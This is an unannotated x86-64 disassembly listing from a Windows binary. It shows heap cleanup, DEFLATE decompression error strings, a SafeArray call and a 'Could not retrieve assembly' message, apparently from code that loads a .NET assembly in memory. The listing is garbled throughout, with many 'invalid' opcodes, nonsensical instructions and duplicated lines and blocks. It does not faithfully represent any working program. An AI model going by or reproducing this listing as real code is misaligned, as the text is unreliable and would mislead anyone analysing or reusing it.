jne 0x140009dca
lea rcx, [rsp + 0x80]
lea r9, [rsp + 0x58]
mov rdx, r15
mov r8, rdi
call fcn.140003320
cmp qword [rsp + 0x80], 0
je 0x140009f0b
mov r13, qword [rsp + 0x88]
movabs rsi, 0x8000000000000000
cmp r13, rsi
je 0x140009573
jmp case.0x140008b5c.2
lea rcx, [rsp + 0x80]
mov rdx, r13
mov r8, rbp
call fcn.140003040
cmp qword [rsp + 0x80], 0
movups xmm0, xmmword [rsp + 0x88]
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x40], rax
je 0x140009e47
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x70], rax
movdqa xmm0, xmmword [rsp + 0x30]
movdqu xmmword [rsp + 0x60], xmm0
jmp 0x140009fd7
xor r13d, r13d
xor ecx, ecx
jmp 0x140008898
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x110], rax
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x100], xmm0
movzx eax, byte [0x14005eb28]
mov ecx, 0x18
call fcn.1400100e0
test rax, rax
je case.0x140008b5c.2
mov rcx, qword [rsp + 0x110]
mov qword [rax + 0x10], rcx
movdqa xmm0, xmmword [rsp + 0x100]
movdqu xmmword [rax], xmm0
mov qword [rsp + 0x80], 1
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x80]
call fcn.140003200
mov rax, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x140009fc3
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x58]
lea r9, [rsp + 0x80]
mov rdx, r12
call fcn.140003320
jmp 0x140009fe0
mov qword [rsp + 0x1b0], 1
mov qword [rsp + 0x1b8], rbx
mov qword [rsp + 0x1c0], r15
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x1c8], rax
mov qword [rsp + 0x1d0], r13
mov qword [rsp + 0x1d8], rbp
mov qword [rsp + 0x1e0], rsi
mov qword [rsp + 0x1e8], r12
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x200], r14
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x208], rax
mov rcx, qword [rsp + 0x178]
mov qword [rsp + 0x210], rcx
mov qword [rsp + 0x218], r14
mov qword [rsp + 0x220], rax
mov qword [rsp + 0x228], rcx
movabs rsi, 0x8000000000000000
jmp 0x140009573
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], r8
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x58], 1
cmp qword [rsp + 0x140], 0
je 0x140009ffd
mov rcx, qword [0x14005eb20]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x58], 0
jne case.0x140008b5c.2
cmp qword [rsp + 0x1b0], 0
je 0x14000a2c4
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x98], rax
movdqu xmm0, xmmword [rsp + 0x200]
movdqu xmmword [rsp + 0x88], xmm0
mov rdi, qword [rsp + 0x1c8]
mov cx, 0xc
xor edx, edx
xor r8d, r8d
call qword [sym.imp.oleaut32.dll_SafeArrayCreateVector]
mov qword [rsp + 0x80], 1
lea rcx, [rsp + 0x30]
lea r9, [rsp + 0x80]
mov rdx, rdi
mov r8, rax
call fcn.140003320
cmp qword [rsp + 0x30], 0
jne case.0x140008b5c.2
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x100], r15
mov qword [rsp + 0xe0], rbx
lea rax, [0x140010580]
mov qword [rsp + 0xe8], rax
lea rax, [0x140053660]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], 1
lea rdx, [0x140023590]
lea rdi, [rsp + 0x30]
lea r8, [rsp + 0x80]
mov rcx, rdi
call fcn.140003bf0
test al, al
jne case.0x140008b5c.2
movdqu xmm0, xmmword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x58], rdi
lea rax, [0x1400010b0]
mov qword [rsp + 0x60], rax
lea rax, [0x1400235e8]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
lea rcx, [rsp + 0x80]
call fcn.14000e350
cmp qword [rsp + 0x30], 0
je 0x14000a1d5
mov r8, qword [rsp + 0x38]
mov rcx, qword [0x14005eb20]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x230], 0
je 0x14000a1f7
mov r8, qword [rsp + 0x238]
mov rcx, qword [0x14005eb20]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rsp + 0x258]
test rsi, rsi
je 0x14000a240
mov rdi, qword [rsp + 0x250]
add rdi, 8
mov rbx, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000a229
add rdi, 0x18
dec rsi
je 0x14000a240
cmp qword [rdi - 8], 0
je 0x14000a220
mov r8, qword [rdi]
mov rcx, qword [0x14005eb20]
xor edx, edx
call rbx
jmp 0x14000a220
cmp qword [rsp + 0x248], 0
je 0x14000a262
mov r8, qword [rsp + 0x250]
mov rcx, qword [0x14005eb20]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x5b0]
add rsp, 0x5c8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test r14, r14
jne 0x14000a317
cmp qword [rsp + 0xf8], 0
je 0x14000a2a9
mov rcx, qword [0x14005eb20]
xor edx, edx
mov r8, qword [rsp + 0x138]
call qword [sym.imp.kernel32.dll_HeapFree]
test r15, r15
je case.0x140008b5c.2
mov rcx, qword [0x14005eb20]
xor edx, edx
mov r8, qword [rsp + 0x78]
call qword [sym.imp.kernel32.dll_HeapFree]
ud2
movzx eax, byte [0x14005eb28]
mov ecx, 0x27
call fcn.1400100e0
test rax, rax
je case.0x140008b5c.2
movups xmm0, xmmword [0x14002366a]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x14002365a]
movups xmmword [rax], xmm0
movabs rcx, 0x64657a696c616974
mov qword [rax + 0x1f], rcx
ud2
movzx eax, byte [0x14005eb28]
mov ecx, 0x1b
add byte [rcx + 0x1b], bh
call fcn.1400100e0
test rax, rax
jne 0x14000a354
ud2
mov rax, qword [rsp + 0x138]
lea rsi, [rax + 8]
mov rdi, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000a33d
add rsi, 0x18
dec r14
je 0x14000a287
cmp qword [rsi - 8], 0
je 0x14000a330
mov r8, qword [rsi]
mov rcx, qword [0x14005eb20]
xor edx, edx
call rdi
jmp 0x14000a330
movups xmm0, xmmword [0x140023d0b]
movups xmmword [rax + 0xb], xmm0
movups xmm0, xmmword [str.Could_not_retrieve_assemblyCould_not_retrieve_assembly:_e]
movups xmmword [rax], xmm0
ud2
and al, 0x20
lea r14, [rsp + 0x20]
lea r12, [0x140053750]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
mov ebp, dword [sym.imp.kernel32.dll_HeapFree]
mov ebp, dword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000a90a
mov r8d, 0x20
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
mov rdx, r14
call fcn.14000aaa0
mov rdi, rdx
test rax, rax
je 0x14000a992
mov ecx, edi
and ecx, 3
movsxd rcx, dword [r12 + rcx*4]
add rcx, r12
jmp rcx
add eax, 0x4dd23100
mov eax, edi
call r13
dec rdi
mov rcx, qword [0x14005eb20]
lodsb al, byte [rsi]
add eax, 0x49d23100
mov eax, edi
lodsb al, byte [rsi]
add eax, 0x49d23100
mov eax, edi
call r13
jmp 0x14000a90a
cmp rdi, 0x21
jae 0x14000a9f0
mov r14, rax
mov rax, qword [rsi]
mov rbx, qword [rsi + 0x10]
sub rax, rbx
cmp rax, rdi
jb 0x14000a9dc
mov rcx, qword [rsi + 8]
add rcx, rbx
lea rdx, [rsp + 0x20]
mov r8, rdi
clc
clc
call fcn.140020090
add rbx, rdi
mov qword [rsi + 0x10], rbx
mov rax, r14
mov rdx, rdi
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.140021430
mov rbx, qword [rsi + 0x10]
jmp 0x14000a9aa
ud2
mov rdx, rdi
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
add byte [rax], al
add byte [rax + 1], bh
jmp 0x14000abbb
add eax, dword [rax + rcx*4 + 0x56]
sub al, 0x41
shr ecx, cl
mov byte [rsi + 0x50], r11b
and r9d, 3
lea rax, [0x140053760]
movsxd rcx, dword [rax + r9*4]
add rcx, rax
jmp rcx
mov rcx, rsi
mov rdi, rdx
mov rbx, r8
call fcn.14000adb0
jmp 0x14000ad79
mov qword [rsi + 0x18], rdi
add bpl, 0xfa
mov byte [rsi + 0x2c], bpl
mov qword [rsi + 0x20], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rdi, str.failed_to_fill_whole_buffer
jmp 0x14000abbb
mov rcx, rsi
mov rdi, rdx
mov rbx, r8
call fcn.14000c630
jmp 0x14000ad79
lea rax, str.btype_0x11_of_DEFLATE_is_reserved_error__value
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
and al, 0x48
push rdi
ror byte [rdi], 0x11
and al, 0x48
lea rsi, [rsp + 0x60]
lea rdx, [rsp + 0x30]
xor byte [rax - 0x77], cl
int1
xor byte [rax - 0x77], cl
int1
call fcn.14000a370
mov cl, 0x15
mov rdx, rsi
call fcn.14000dbe0
mov rdi, rax
mov eax, 1
jmp 0x14000abbb
mov rcx, rsi
mov rdi, rdx
mov rbx, r8
call fcn.14000b360
mov rdx, rdi
mov rdi, rax
test rax, rax
mov eax, 1
jne 0x14000abbb
mov r8, rbx
mov rcx, rsi
call fcn.14000aaa0
mov rdi, rdx
jmp 0x14000abbb
int3
sub esp, 0x28
mov r14, qword [rcx + 0x10]
test r14, r14
je 0x14000e992
mov rsi, rcx
lea rbx, [rcx + 0x19]
xor edi, edi
lea r15, [0x140053770]
mov rbp, qword [sym.imp.kernel32.dll_HeapFree]
lea r13, str.failed_to_write_the_buffered_data
jmp case.0x140008cec.17
mov r14, qword [rsi + 0x10]
cmp rdi, r14
jae 0x14000e97b
mov byte [rsi + 0x18], 1
sub r14, rdi
mov rdx, qword [rsi + 8]
add rdx, rdi
mov ecx, 0xfffffff5
invalid
invalid
dec dword [rbp - 0x77]
invalid
mov r9, rbx
call fcn.14000f3d0
cmp rax, 1
jne 0x14000e8f0
invalid
mov eax, edx
and eax, 3
cmp rax, 2
jae 0x14000e910
add byte [rax], al
invalid
add byte [rax], al
add dh, al
sbb byte [rax], r8b
mov byte [rsi + 0x18], 0
movsxd rax, dword [r15 + rax*4]
add rax, r15
jmp rax
mov byte [rsi + 0x18], 0
mov r14, rdx
add byte [rcx - 0x77], cl
invalid
test rdx, rdx
je 0x14000e9a8
add rdi, r14
jmp 0x14000e840
invalid
cmp eax, 2
jne 0x14000e92f
mov rax, rdx
shr rax, 0x20
shr eax, 0x20
shr eax, 0x20
cmp rax, 6
cmove rdx, r14
invalid
mov byte [rsi + 0x18], 0
cmp eax, 6
je 0x14000e8f7
invalid
jmp 0x14000e949
mov byte [rsi + 0x18], 0
mov rax, rdx
shr rax, 0x20
and byte [rbx + 0xa7728f8], al
and byte [rbx + 0xa7728f8], al
cmp rax, 0x23
je 0x14000e840
test rdi, rdi
je 0x14000e994
mov rbx, qword [rsi + 0x10]
sub rbx, rdi
jb 0x14000e9b2
mov qword [rsi + 0x10], 0
je 0x14000e994
mov rcx, qword [rsi + 8]
add rdi, rcx
mov r14, rdx
mov rdx, rdi
mov r8, rbx
call fcn.140020090
mov rdx, r14
jmp 0x14000e98c
test rdi, rdi
je 0x14000e992
xor ebx, ebx
mov edx, 0
cmp r14, rdi
jb 0x14000e9b2
mov qword [rsi + 0x10], rbx
jmp 0x14000e994
xor edx, edx
mov rax, rdx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rdx, r13
test rdi, rdi
jne 0x14000e94e
jmp 0x14000e994
ud2
mov rcx, rdi
call fcn.14000e7f0
test rax, rax
jne 0x14000fa4e
jmp 0x14000fa21
add rbx, r14
mov rax, qword [rdi]
mov r14, qword [rdi + 0x10]
sub rax, r14
cmp rsi, rax
jae 0x14000fa8b
mov rcx, qword [rdi + 8]
add rcx, r14
mov rdx, rbx
mov r8, rsi
call fcn.140020090
add r14, rsi
mov qword [rdi + 0x10], r14
xor eax, eax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.140021a80
add dword [rax], eax
test rax, rax
jne 0x14000fa4e
jmp 0x14000f9e2
mov ebx, ecx
invalid
mov edx, edi
mov eax, esi
dec eax
nop dword [rax]
invalid
hlt
test r8, r8
je 0x14000fd07
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
lea r12, [0x140053790]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax - 0x7b], cl
test byte [rdi], 0x84
mov ah, 0
add byte [rax], al
int1
call qword [r15]
cmp qword [r15 + 8], 0
je 0x14000fcb5
cmp qword [r15 + 0x10], 0x11
jb 0x14000fca6
mov r14, qword [r14 - 8]
mov rcx, qword [0x14005eb20]
jae 0x14000fc99
add al, 0
xor edx, edx
mov r8, r14
call r13
mov r8, rbp
dec r8
dec eax
dec eax
mov rcx, qword [0x14005eb20]
add al, 0
xor edx, edx
call r13
jmp 0x14000fc4a
add rdi, rdx